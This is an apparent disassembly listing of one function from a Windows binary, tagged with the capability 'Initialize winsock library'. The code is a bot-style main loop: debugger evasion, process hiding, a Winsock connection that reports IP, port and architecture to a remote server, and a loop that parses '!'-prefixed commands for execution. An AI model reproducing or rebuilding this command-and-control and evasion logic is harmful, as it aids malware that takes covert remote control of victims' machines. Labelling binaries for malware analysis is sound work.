Function at 0x402fb9
Capabilities:
Initialize winsock library

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x14a8
call fcn.00404660
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1450], ecx
mov qword [rbp + 0x1458], rdx
call sym.__main
lea rdx, [rbp + 0x11c0]
mov eax, 0
mov ecx, 0x40
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x13e0], 0x10
mov edx, dword [rbp + 0x13e0]
lea rax, [rbp + 0x11c0]
mov rcx, rax
call sym.GenerateKeys
test eax, eax
jne 0x403037
lea rax, str.Failed_to_generate_keys._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x403520
movabs rax, 0x76697469736e6553
mov qword [rbp + 0x11b1], rax
movabs rax, 0x61746144206576
mov qword [rbp + 0x11b8], rax
lea rax, [rbp + 0x11b1]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x13dc], eax
mov qword [rbp + 0x11a8], 0
mov dword [rbp + 0x11a4], 0
lea r9, [rbp + 0x11a4]
lea r8, [rbp + 0x11a8]
mov edx, dword [rbp + 0x13dc]
lea rax, [rbp + 0x11b1]
mov ecx, dword [rbp + 0x13e0]
mov dword [rsp + 0x28], ecx
lea rcx, [rbp + 0x11c0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.EncryptData
test eax, eax
je 0x4030ff
lea rax, str.Encrypted_data:_n
mov rcx, rax
call sym.printf
mov dword [rbp + 0x141c], 0
jmp 0x4030e2
add dword [rbp + 0x141c], 1
mov eax, dword [rbp + 0x11a4]
cmp dword [rbp + 0x141c], eax
jb 0x4030db
mov rax, qword [rbp + 0x11a8]
mov rcx, rax
call sym.free
mov dword [rbp + 0x1418], 0
jmp 0x403112
add dword [rbp + 0x1418], 1
cmp dword [rbp + 0x1418], 9
jle 0x40310b
mov dword [rbp + 0x1414], 0
jmp 0x40312e
add dword [rbp + 0x1414], 1
cmp dword [rbp + 0x1414], 0x98967f
jle 0x403127
call sym.CustomIsDebuggerPresentCheck
call sym.HideProcess
call sym.getIPAddress
mov rax, rbp
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
call sym.initConnection
test eax, eax
jne 0x40351a
call sym.getArch
mov rbx, rax
call sym.getPortz
mov rsi, rax
call sym.getIP
mov rdx, rax
mov eax, dword [0x00410040]
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov r8, rdx
lea rdx, str.e_1_94mDevice_Connected:__s__Port:__s__Arch:__se_0m
mov ecx, eax
call sym.sockprintf
mov dword [rbp + 0x13d8], 0
mov dword [rbp + 0x13d4], 0
jmp 0x4034e8
mov eax, dword [rbp + 0x13d8]
cdqe
mov byte [rbp + rax + 0x1a0], 0
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.trim
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x1408], rax
lea rax, [rbp + 0x1a0]
lea rdx, [0x0040c33e]
mov rcx, rax
call sym.strstr
mov rdx, rax
lea rax, [rbp + 0x1a0]
cmp rdx, rax
jne 0x403216
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x1408]
movzx eax, byte [rax]
cmp al, 0x21
jne 0x4034e8
mov rax, qword [rbp + 0x1408]
add rax, 1
mov qword [rbp + 0x1400], rax
jmp 0x403244
add qword [rbp + 0x1400], 1
mov rax, qword [rbp + 0x1400]
movzx eax, byte [rax]
cmp al, 0x20
je 0x403260
mov rax, qword [rbp + 0x1400]
movzx eax, byte [rax]
test al, al
jne 0x40323c
mov rax, qword [rbp + 0x1400]
movzx eax, byte [rax]
test al, al
jne 0x403273
jmp 0x4034e8
mov rax, qword [rbp + 0x1400]
mov byte [rax], 0
mov rax, qword [rbp + 0x1408]
add rax, 1
mov qword [rbp + 0x1400], rax
mov rax, qword [rbp + 0x1400]
mov rcx, rax
call sym.strlen
add rax, 2
add qword [rbp + 0x1408], rax
jmp 0x4032cb
mov rax, qword [rbp + 0x1408]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x1408]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x1408]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x1408]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xa
je 0x4032ab
mov rax, qword [rbp + 0x1408]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x1408]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xd
je 0x4032ab
mov rax, qword [rbp + 0x1408]
mov qword [rbp + 0x13c8], rax
jmp 0x40332b
add qword [rbp + 0x1408], 1
mov rax, qword [rbp + 0x1408]
movzx eax, byte [rax]
cmp al, 0x20
je 0x403347
mov rax, qword [rbp + 0x1408]
movzx eax, byte [rax]
test al, al
jne 0x403323
mov rax, qword [rbp + 0x1408]
mov byte [rax], 0
add qword [rbp + 0x1408], 1
mov rax, qword [rbp + 0x13c8]
mov qword [rbp + 0x13f8], rax
jmp 0x403394
mov rax, qword [rbp + 0x13f8]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_toupper]
call rax
mov edx, eax
mov rax, qword [rbp + 0x13f8]
mov byte [rax], dl
add qword [rbp + 0x13f8], 1
mov rax, qword [rbp + 0x13f8]
movzx eax, byte [rax]
test al, al
jne 0x403369
mov dword [rbp + 0x13f4], 1
mov rax, qword [rbp + 0x1408]
lea rdx, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rcx, rax
call sym.strtok
mov qword [rbp + 0x13e8], rax
mov rax, qword [rbp + 0x13c8]
mov qword [rbp - 0x50], rax
jmp 0x403480
mov rax, qword [rbp + 0x13e8]
movzx eax, byte [rax]
cmp al, 0xa
je 0x403465
mov rax, qword [rbp + 0x13e8]
mov rcx, rax
call sym.strlen
add rax, 1
mov rcx, rax
call sym.malloc
mov rdx, rax
mov eax, dword [rbp + 0x13f4]
cdqe
mov qword [rbp + rax*8 - 0x50], rdx
mov rax, qword [rbp + 0x13e8]
mov rcx, rax
call sym.strlen
lea rdx, [rax + 1]
mov eax, dword [rbp + 0x13f4]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x13f4]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rdx, qword [rbp + 0x13e8]
mov rcx, rax
call sym.strcpy
add dword [rbp + 0x13f4], 1
lea rax, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x13e8], rax
cmp qword [rbp + 0x13e8], 0
jne 0x4033d9
lea rdx, [rbp - 0x50]
mov eax, dword [rbp + 0x13f4]
mov ecx, eax
call sym.processCmd
cmp dword [rbp + 0x13f4], 1
jle 0x4034e8
mov dword [rbp + 0x13e4], 1
mov dword [rbp + 0x13e4], 1
jmp 0x4034da
mov eax, dword [rbp + 0x13e4]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rcx, rax
call sym.free
add dword [rbp + 0x13e4], 1
mov eax, dword [rbp + 0x13e4]
cmp eax, dword [rbp + 0x13f4]
jl 0x4034be
mov eax, dword [0x00410040]
lea rdx, [rbp + 0x1a0]
mov r8d, 0x1000
mov ecx, eax
call sym.recvLine
mov dword [rbp + 0x13d8], eax
cmp dword [rbp + 0x13d8], 0xffffffff
jne 0x4031ba
jmp 0x40315d
nop
jmp 0x40315d
add rsp, 0x14a8
pop rbx
pop rsi
pop rdi
pop rbp
ret